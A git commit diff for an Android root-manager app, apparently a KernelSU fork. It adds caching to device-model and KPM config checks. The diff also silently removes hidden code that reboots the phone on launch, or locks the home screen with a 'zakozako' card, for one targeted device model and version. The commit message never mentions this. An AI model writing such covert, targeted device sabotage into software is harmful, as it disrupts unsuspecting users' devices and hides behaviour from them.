manager: Optimize device model and KPM configuration checking

Add caching mechanism to improve performance
This commit is contained in:
ShirkNeko
2025-05-18 20:16:04 +08:00
parent de9b82ffd5
commit 245fce167e

View File

@@ -158,25 +158,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
val kernelVersion = getKernelVersion() val kernelVersion = getKernelVersion()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState()) val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val isManager = Natives.becomeManager(ksuApp.packageName)
val deviceModel = getDeviceModel()
val ksuVersion = if (isManager) Natives.version else null
val zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
val isVersion = ksuVersion == 12777
val shouldTriggerRestart = zako && kernelVersion.isGKI() && (isVersion)
LaunchedEffect(shouldTriggerRestart) {
if (shouldTriggerRestart) {
val random = Random.nextInt(0, 100)
if (random <= 95) {
reboot()
} else {
""
}
}
}
val scrollState = rememberScrollState() val scrollState = rememberScrollState()
val debounceTime = 100L val debounceTime = 100L
var lastScrollTime by remember { mutableLongStateOf(0L) } var lastScrollTime by remember { mutableLongStateOf(0L) }
@@ -203,10 +184,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
.padding(horizontal = 16.dp), .padding(horizontal = 16.dp),
verticalArrangement = Arrangement.spacedBy(12.dp) verticalArrangement = Arrangement.spacedBy(12.dp)
) { ) {
if (shouldTriggerRestart) {
WarningCard(message = "zakozako")
return@Column
}
val isManager = Natives.becomeManager(ksuApp.packageName) val isManager = Natives.becomeManager(ksuApp.packageName)
val ksuVersion = if (isManager) Natives.version else null val ksuVersion = if (isManager) Natives.version else null
val lkmMode = ksuVersion?.let { val lkmMode = ksuVersion?.let {
@@ -983,9 +960,13 @@ private fun WarningCardPreview() {
} }
} }
@SuppressLint("PrivateApi") private object DeviceModelCache {
private fun getDeviceModel(): String { @Volatile
return try { private var cachedModel: String? = null
fun getDeviceModel(): String {
return cachedModel ?: synchronized(this) {
cachedModel ?: try {
val systemProperties = Class.forName("android.os.SystemProperties") val systemProperties = Class.forName("android.os.SystemProperties")
val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java) val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java)
val marketNameKeys = listOf( val marketNameKeys = listOf(
@@ -994,19 +975,37 @@ private fun getDeviceModel(): String {
"ro.vivo.market.name", // Vivo "ro.vivo.market.name", // Vivo
"ro.config.marketing_name" // Huawei "ro.config.marketing_name" // Huawei
) )
var result = Build.DEVICE
for (key in marketNameKeys) { for (key in marketNameKeys) {
val marketName = getMethod.invoke(null, key, "") as String val marketName = getMethod.invoke(null, key, "") as String
if (marketName.isNotEmpty()) { if (marketName.isNotEmpty()) {
return marketName result = marketName
break
} }
} }
Build.DEVICE result
} catch (_: Exception) { } catch (_: Exception) {
Build.DEVICE Build.DEVICE
}.also { cachedModel = it }
}
} }
} }
private fun checkKpmConfigured(): Boolean { private object KpmConfigCache {
private var isChecked = false
private var isConfigured = false
fun checkKpmConfigured(): Boolean {
if (isChecked) {
return isConfigured
}
isConfigured = performKpmCheck()
isChecked = true
return isConfigured
}
private fun performKpmCheck(): Boolean {
try { try {
val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz") val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
val inputStream = process.inputStream val inputStream = process.inputStream
@@ -1016,6 +1015,7 @@ private fun checkKpmConfigured(): Boolean {
var line: String? var line: String?
while (reader.readLine().also { line = it } != null) { while (reader.readLine().also { line = it } != null) {
if (line?.contains("CONFIG_KPM=y") == true) { if (line?.contains("CONFIG_KPM=y") == true) {
reader.close()
return true return true
} }
} }
@@ -1036,6 +1036,18 @@ private fun checkKpmConfigured(): Boolean {
} }
return false return false
}
}
// 获取设备型号
@SuppressLint("PrivateApi")
private fun getDeviceModel(): String {
return DeviceModelCache.getDeviceModel()
}
// 检查KPM是否存在
private fun checkKpmConfigured(): Boolean {
return KpmConfigCache.checkKpmConfigured()
} }
@SuppressLint("UnnecessaryComposedModifier") @SuppressLint("UnnecessaryComposedModifier")